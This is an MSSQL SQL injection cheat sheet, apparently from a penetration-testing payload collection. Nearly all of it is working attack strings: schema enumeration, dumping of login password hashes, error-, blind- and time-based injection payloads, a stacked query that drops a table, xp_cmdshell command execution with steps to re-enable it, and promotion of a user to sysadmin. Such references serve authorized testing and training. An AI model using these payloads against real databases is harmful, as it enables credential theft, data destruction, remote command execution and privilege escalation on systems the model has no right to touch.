MSSQL Injection

MSSQL version

```
SELECT @@version
```

MSSQL database name

```
SELECT DB_NAME()
```

MSSQL List Databases

```
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
```

MSSQL List Column

```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
```

MSSQL List Tables

```
SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
```

MSSQL User Password

```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

MSSQL Error based

```
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '
```

MSSQL Blind based

```
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

MSSQL Time based

```
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'                              comment:   --
```

MSSQL Stacked Query

Use a semi-colon ";" to add another query

```
ProductID=1; DROP members--
```

MSSQL Command execution

```
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
```

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

MSSQL Make user DBA (DB admin)

```
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

Thanks to

- Pentest Monkey - mssql-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
- Sqlinjectionwiki - MSSQL (http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
- Error Based - SQL Injection (https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)